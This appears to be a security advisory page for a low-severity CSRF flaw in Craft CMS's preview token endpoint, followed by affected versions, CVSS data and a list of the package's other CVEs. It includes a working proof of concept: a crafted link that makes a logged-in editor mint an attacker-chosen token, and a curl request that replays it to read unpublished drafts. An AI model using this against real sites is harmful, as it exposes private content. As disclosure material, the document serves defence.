Low

Craft CMS has a potential information disclosure vulnerability in preview tokens

  • Disclosed: 10.03.2026
  • Updated: 11.10.2026 10:22

Summary

Craft CMS has a CSRF issue in the preview token endpoint at /actions/preview/create-token. The endpoint accepts an attacker-supplied previewToken.

Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.

That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.


Preconditions

  • Victim is logged in to Craft control panel.
  • Victim has active preview authorization in session for target content (e.g., opened/edited an entry).
  • The attacker must know the target’s canonicalId and public URL path of that entry.

1) Attacker prepares a fixed token

Use any 32-character value, for example:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2) CSRF victim into minting that token

Send the victim a link (or top-level redirect) such as:

https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F

If the victim is logged in and authorized for previewElement:123, Craft creates that exact token.

3) Attacker accesses preview content unauthenticated

bash
curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

Expected vulnerable behavior:

  • Response renders preview/unpublished state (draft/provisional context), not just normal public content.

Impact

  • CSRF-based minting of attacker-known preview tokens.
  • Unauthorized access to draft/provisional/revision content via token replay.
  • Stealthy one-click exploitation against logged-in editors/admins.
  • No dependency on forwarded-host poisoning.

Affected software

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PlatformPackageVulnerable versionsFixed in
Composer package craftcms/cms >= 4.0.0-RC1, < 4.17.3, >= 5.0.0-RC1, < 5.9.7 4.17.3, 5.9.7

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness (CWE)
CWE-287, CWE-352
Platform
Composer
Package
craftcms/cms
Disclosed
10.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-vg3j-hpm9-8v5v - CC BY 4.0

Vulnerability history: craftcms/cms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (127) in the archive
Total entries
127
First → latest
07.2021 08.2026
Without a fix
6
Exploited in attacks
4

Severity breakdown

  • Critical 9
  • High 41
  • Medium 65
  • Low 12

Disclosures per year

  1. 2021: 3
  2. 2022: 22
  3. 2023: 13
  4. 2024: 9
  5. 2025: 6
  6. 2026: 74
Severity:
  1. Craft CMS has a potential information disclosure vulnerability in preview tokens this entry
    Low CVE-2026-29113 >= 4.0.0-RC1, < 4.17.3, >= 5.0.0-RC1, < 5.9.7 4.17.3, 5.9.7
  2. Critical CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  3. High CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  4. High CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  5. High CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  6. High CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  7. High CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  8. Critical CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  9. High CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  10. High CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  11. High CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  12. High CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  13. High CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  14. High CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
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